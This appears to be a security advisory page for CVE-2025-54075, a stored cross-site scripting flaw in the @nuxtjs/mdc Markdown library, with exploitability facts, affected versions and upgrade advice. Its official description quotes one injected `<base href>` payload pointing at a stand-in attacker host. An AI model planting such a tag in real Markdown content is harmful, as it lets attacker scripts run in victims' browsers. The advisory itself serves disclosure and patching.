CVE-2025-54075 mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)
A stored XSS vulnerability in the MDC library allows attackers to inject base tags, redirecting resource loads to malicious origins and executing arbitrary JavaScript.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is CVE-2025-54075?
CVE-2025-54075 is a high-severity cross-site scripting vulnerability in nuxt-modules mdc, published on 18 Jul 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.
Weakness: CWE-79
Which versions are affected by CVE-2025-54075?
2 open source packages ship an affected version, including @nuxtjs/mdc.
| Package | Affected | Fixed in |
|---|---|---|
@nuxtjs/mdc npm | All versions | 0.17.2 |
@nuxtjs/mdc npm | All versions | 0.17.2 |
How do I fix CVE-2025-54075?
Upgrade @nuxtjs/mdc to 0.17.2 or later.
Escape output for the context it lands in and set a strict Content Security Policy. Upgrading the affected component is the real fix. More about Cross-site scripting.
Is CVE-2025-54075 being exploited?
It is not confirmed as exploited in the wild, but public exploit code for CVE-2025-54075 exists.
Sources
Also known as GHSA-cj6r-rrr9-fg82.